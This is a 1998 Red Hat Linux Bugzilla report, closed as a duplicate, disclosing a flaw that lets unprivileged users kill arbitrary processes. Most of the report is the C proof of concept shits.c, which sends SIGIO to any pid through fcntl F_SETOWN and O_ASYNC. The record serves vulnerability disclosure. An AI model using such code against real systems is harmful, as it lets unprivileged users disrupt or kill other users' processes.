Bug 79 - Rootshell reported bug, shits.c
Rootshell reported bug, shits.c
Status: CLOSED DUPLICATE of bug 78
Product: Red Hat Linux
Classification: Retired
Component: basesystem (Show other bugs)
5.0
i386 Linux
high Severity medium
: ---
: ---
Assigned To: David Lawrence
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 1998-11-15 11:14 EST by penguin
Modified: 2008-05-01 11:37 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 1998-11-16 08:52:04 EST
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description penguin 1998-11-15 11:14:28 EST
Allows anyone to kill any process - even if not root.
Effects 5.0 and 5.1,  have not tested on 5.2
---
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
int s, p;
if (argc != 2) {
fputs("Please specify a pid to send signal to.\n", stderr);
exit(0);
} else {
p = atoi(argv[1]);
}
fcntl(0,F_SETOWN,p);
s = fcntl(0,F_GETFL,0);
fcntl(0,F_SETFL,s|O_ASYNC);
printf("Sending SIGIO - press enter.\n");
getchar();
fcntl(0,F_SETFL,s&~O_ASYNC);
printf("SIGIO send attempted.\n");
return 0;
}
Comment 1 Bill Nottingham 1998-11-16 08:52:59 EST
*** This bug has been marked as a duplicate of 78 ***

Note You need to log in before you can comment on or make changes to this bug.